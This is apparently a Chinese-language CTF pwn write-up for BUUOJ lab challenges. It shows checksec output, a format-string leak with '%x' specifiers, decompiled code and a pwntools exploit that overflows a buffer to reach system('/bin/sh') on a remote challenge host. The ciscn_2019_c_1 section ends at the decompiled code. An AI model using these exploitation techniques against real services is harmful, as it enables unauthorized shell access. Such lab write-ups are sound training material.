ubuntu@vm:~/桌面$ checksec --file=pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 pwn
root@vm:/home/ubuntu/桌面# ./pwn your name: AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x Hello, AAAA-ff95fc58-63-0-f7f48ff4-3-0-ff95fcb4-f7f49b8c-1-41414120-78252d41-2d78252d your passwd:
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5); if ( *(_QWORD *)&var[13] ) { if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh"); else printf( "something wrong! val is %d", var[0], var[1], var[2], var[3], var[4], var[5], var[6], var[7], var[8], var[9], var[10], var[11], var[12], var[13], var[14]); } else { printf("%s, Welcome!\n", var); puts("Try do something~"); } return0; }
很明显可以通过满足条件直接调用/bin/sh
exp:
1 2 3 4 5
rom pwn import * r = remote('node4.buuoj.cn',25220) payload = b'a' * 13 * 4 + p64(17) r.sendline(payload) r.interactive()
如果想要前面要填充0-13的var,那么需要a * (13*4)个之后加一个17
ciscn_2019_c_1
此题开启了NX
1 2 3
ubuntu@vm:~/桌面$ checksec --file=2 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols No 0 1 2
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return0; }